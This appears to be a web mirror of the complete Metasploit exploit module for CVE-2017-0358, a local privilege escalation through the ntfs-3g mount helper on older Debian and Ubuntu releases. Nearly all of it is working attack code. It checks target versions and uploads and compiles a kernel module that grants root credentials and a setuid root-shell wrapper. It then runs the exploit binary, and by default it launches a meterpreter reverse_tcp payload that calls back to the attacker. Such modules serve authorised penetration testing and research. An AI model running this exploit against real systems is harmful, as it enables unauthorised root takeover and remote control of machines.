Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/ntfs3g_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112def initialize(info={})13super( update_info( info, {14'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',15'Description' => %q{16ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.17This can be abused to load a kernel module and execute a binary payload as the root user.18},19'License' => MSF_LICENSE,20'Author' =>21[22'[email protected]', # discovery23'h00die <[email protected]>' # metasploit module24],25'Platform' => [ 'linux' ],26'Arch' => [ ARCH_X86, ARCH_X64 ],27'SessionTypes' => [ 'shell', 'meterpreter' ],28'References' =>29[30[ 'CVE', '2017-0358' ],31[ 'EDB', '41356' ],32[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]33],34'Targets' =>35[36[ 'Linux x86', { 'Arch' => ARCH_X86 } ],37[ 'Linux x64', { 'Arch' => ARCH_X64 } ]38],39'DefaultOptions' =>40{41'payload' => 'linux/x64/meterpreter/reverse_tcp',42'PrependFork' => true,43},44'DefaultTarget' => 1,45'DisclosureDate' => '2017-01-05',46'Privileged' => true47}48))49register_advanced_options [50OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])51]52end5354def check5556# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.57def headers_installed?()58output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')59if output60if output.include?('linux-headers')61return true62else63print_error('Linux kernel headers not available, compiling will fail.')64return false65end66end67false68end6970output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')71if output72if output.include?('1:2015.3.14AR.1-1build1') #Ubuntu 16.04 LTS73print_good('Vulnerable Ubuntu 16.04 detected')74CheckCode::Appears75elsif output.include?('1:2016.2.22AR.1-3') #Ubuntu 16.1076print_good('Vulnerable Ubuntu 16.10 detected')77CheckCode::Appears78elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') #Debian Wheezy, we also need linux-source installed79print_good('Vulnerable Debian 7 (wheezy) detected')80if headers_installed?()81CheckCode::Appears82else83CheckCode::Safe84end85CheckCode::Appears86elsif output.include?('1:2014.2.15AR.2-1+deb8u2') #Debian Jessie, we also need linux-source installed87print_good('Vulnerable Debian 8 (jessie) detected')88if headers_installed?()89CheckCode::Appears90else91CheckCode::Safe92end93CheckCode::Appears94else95print_error("Version installed not vulnerable: #{output}")96CheckCode::Safe97end98else99print_error('ntfs-3g not installed')100CheckCode::Safe101end102end103104def exploit105def upload_and_compile(filename, file_path, file_content, compile=nil)106rm_f "#{file_path}"107if not compile.nil?108rm_f "#{file_path}.c"109vprint_status("Writing #{filename} to #{file_path}.c")110write_file("#{file_path}.c", file_content)111register_file_for_cleanup("#{file_path}.c")112output = cmd_exec(compile)113if output != ''114print_error(output)115fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")116end117else118vprint_status("Writing #{filename} to #{file_path}")119write_file(file_path, file_content)120end121cmd_exec("chmod +x #{file_path}");122register_file_for_cleanup(file_path)123end124125# These are direct copies of the modules from EDB126rootmod = %q{127#include <linux/module.h>128#include <linux/kernel.h>129#include <linux/cred.h>130#include <linux/syscalls.h>131#include <linux/kallsyms.h>132133static int suidfile_fd = -1;134module_param(suidfile_fd, int, 0);135136static int __init init_rootmod(void) {137int (*sys_fchown_)(int fd, int uid, int gid);138int (*sys_fchmod_)(int fd, int mode);139const struct cred *kcred, *oldcred;140141sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");142sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");143144printk(KERN_INFO "rootmod loading\n");145kcred = prepare_kernel_cred(NULL);146oldcred = override_creds(kcred);147sys_fchown_(suidfile_fd, 0, 0);148sys_fchmod_(suidfile_fd, 06755);149revert_creds(oldcred);150return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */151}152153static void __exit cleanup_rootmod(void) {}154155module_init(init_rootmod);156module_exit(cleanup_rootmod);157158MODULE_LICENSE("GPL v2");159}160161rootshell = %q{162#include <unistd.h>163#include <err.h>164#include <stdio.h>165#include <sys/types.h>166167int main(void) {168if (setuid(0) || setgid(0))169err(1, "setuid/setgid");170fputs("we have root privs now...\n", stderr);171execl("/bin/bash", "bash", NULL);172err(1, "execl");173}174}175176# we moved sploit.c off since it was so big to the external sources folder177path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')178fd = ::File.open( path, "rb")179sploit = fd.read(fd.stat.size)180fd.close181182rootmod_filename = 'rootmod'183rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"184rootshell_filename = 'rootshell'185rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"186sploit_filename = 'sploit'187sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"188payload_filename = rand_text_alpha(8)189payload_path = "#{datastore['WritableDir']}/#{payload_filename}"190191if check != CheckCode::Appears192fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')193end194195def has_prereqs?()196def check_gcc?()197gcc = cmd_exec('which gcc')198if gcc.include?('gcc')199vprint_good('gcc is installed')200return true201else202print_error('gcc is not installed. Compiling will fail.')203return false204end205end206207def check_make?()208make = cmd_exec('which make')209if make.include?('make')210vprint_good('make is installed')211return true212else213print_error('make is not installed. Compiling will fail.')214return false215end216end217218return check_make?() && check_gcc?()219end220221if has_prereqs?()222vprint_status('Live compiling exploit on system')223else224fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')225end226227# make our substitutions so things are dynamic228rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,229"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable230print_status('Writing files to target')231cmd_exec("cd #{datastore['WritableDir']}")232233#write all the files and compile. This is equivalent to the original compile.sh234#gcc -o rootshell rootshell.c -Wall235upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")236#gcc -o sploit sploit.c -Wall -std=gnu99237upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")238#make -C /lib/modules/$(uname -r)/build M=$(pwd) modules239upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)240upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)241cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')242upload_and_compile('payload', payload_path, generate_payload_exe)243244#This is equivalent to the 2nd half of the compile.sh file245cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')246cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')247cmd_exec('/sbin/depmod -b depmod_tmp/')248cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')249cmd_exec('rm -rf depmod_tmp')250251register_file_for_cleanup("#{rootmod_path}.ko")252register_file_for_cleanup("#{rootmod_path}.mod.c")253register_file_for_cleanup("#{rootmod_path}.mod.o")254register_file_for_cleanup("#{rootmod_path}.o")255256# and here we go!257print_status('Starting execution of priv esc.')258output = cmd_exec(sploit_path)259unless session_created?260# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,261# but binary payload was caught, or NIPS shut down the callback etc.262vprint_error(output)263end264end265266def on_new_session(session)267# if we don't /bin/bash here, our payload times out268# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400269# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died270session.shell_command_token('/bin/bash')271super272end273end274275276